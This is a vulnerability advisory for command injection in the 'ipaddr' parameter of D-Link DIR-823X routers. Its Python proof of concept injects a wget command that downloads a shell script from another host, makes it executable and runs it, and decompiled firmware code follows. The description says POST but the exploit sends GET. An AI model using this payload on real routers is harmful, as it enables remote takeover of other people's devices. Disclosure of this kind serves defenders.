CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "ipaddr" in /goform/set_portfw through a POST request.

PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_portfw?ipaddr=`wget${IFS}-
P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}777${I
FS}/shell.sh;/shell.sh`&lanport=1&wanport=1&protocol=1&modmun=1"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

Cause Analysis

The WebsGetvar function accepts external data and it enters do_system execution, resulting in a command execution vulnerability.

```
__int64 __fastcall sub_4204FC(__int64 a1)
{
  char *v2; // x28
  char *v3; // x27
  char *v4; // x26
  char *v5; // x25
  char *v6; // x23
  char *v7; // x22
  int v8; // w19
  int v9; // w19
  char v11[8]; // [xsp+88h] [xbp+88h] BYREF
  char nptr[8]; // [xsp+90h] [xbp+90h] BYREF
  char v13[32]; // [xsp+98h] [xbp+98h] BYREF
  char s[64]; // [xsp+B8h] [xbp+B8h] BYREF
  __int64 v15; // [xsp+F8h] [xbp+F8h]

  v2 = WebsGetvar(a1, (__int64)"ipaddr", (__int64)"");
  v3 = WebsGetvar(a1, (__int64)"lanport", (__int64)"");
  v4 = WebsGetvar(a1, (__int64)"wanport", (__int64)"");
  v5 = WebsGetvar(a1, (__int64)"protocol", (__int64)"");
  v6 = WebsGetvar(a1, (__int64)"comment", (__int64)"");
  v7 = WebsGetvar(a1, (__int64)"modmun", (__int64)"");
  if ( *v2 && *v3 && *v4 && *v5 && *v7 )
  {
    s_popen("firewall.@portfw[0].numentrys", nptr, 4, "");
    v8 = atoi(nptr);
    s_popen("firewall.@dmz_enable[0].dmz", v11, 3, "1");
    if ( atoi(v11) && atoi(v7) == -1 )
    {
      snprintf(s, 0x40uLL, "firewall.@redirect[%d].dest_ip", v8);
      s_popen(s, v13, 32, "");
      snprintf(s, 0x40uLL, "uci delete firewall.@redirect[%d]", v8);
      system(s);
    }
    if ( atoi(v7) == -1 )
      system("uci add firewall redirect");
    else
      v8 = atoi(v7);
    snprintf(s, 0x40uLL, "firewall.@redirect[%d].dest_ip", v8);
    do system(s, v2);
```

Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.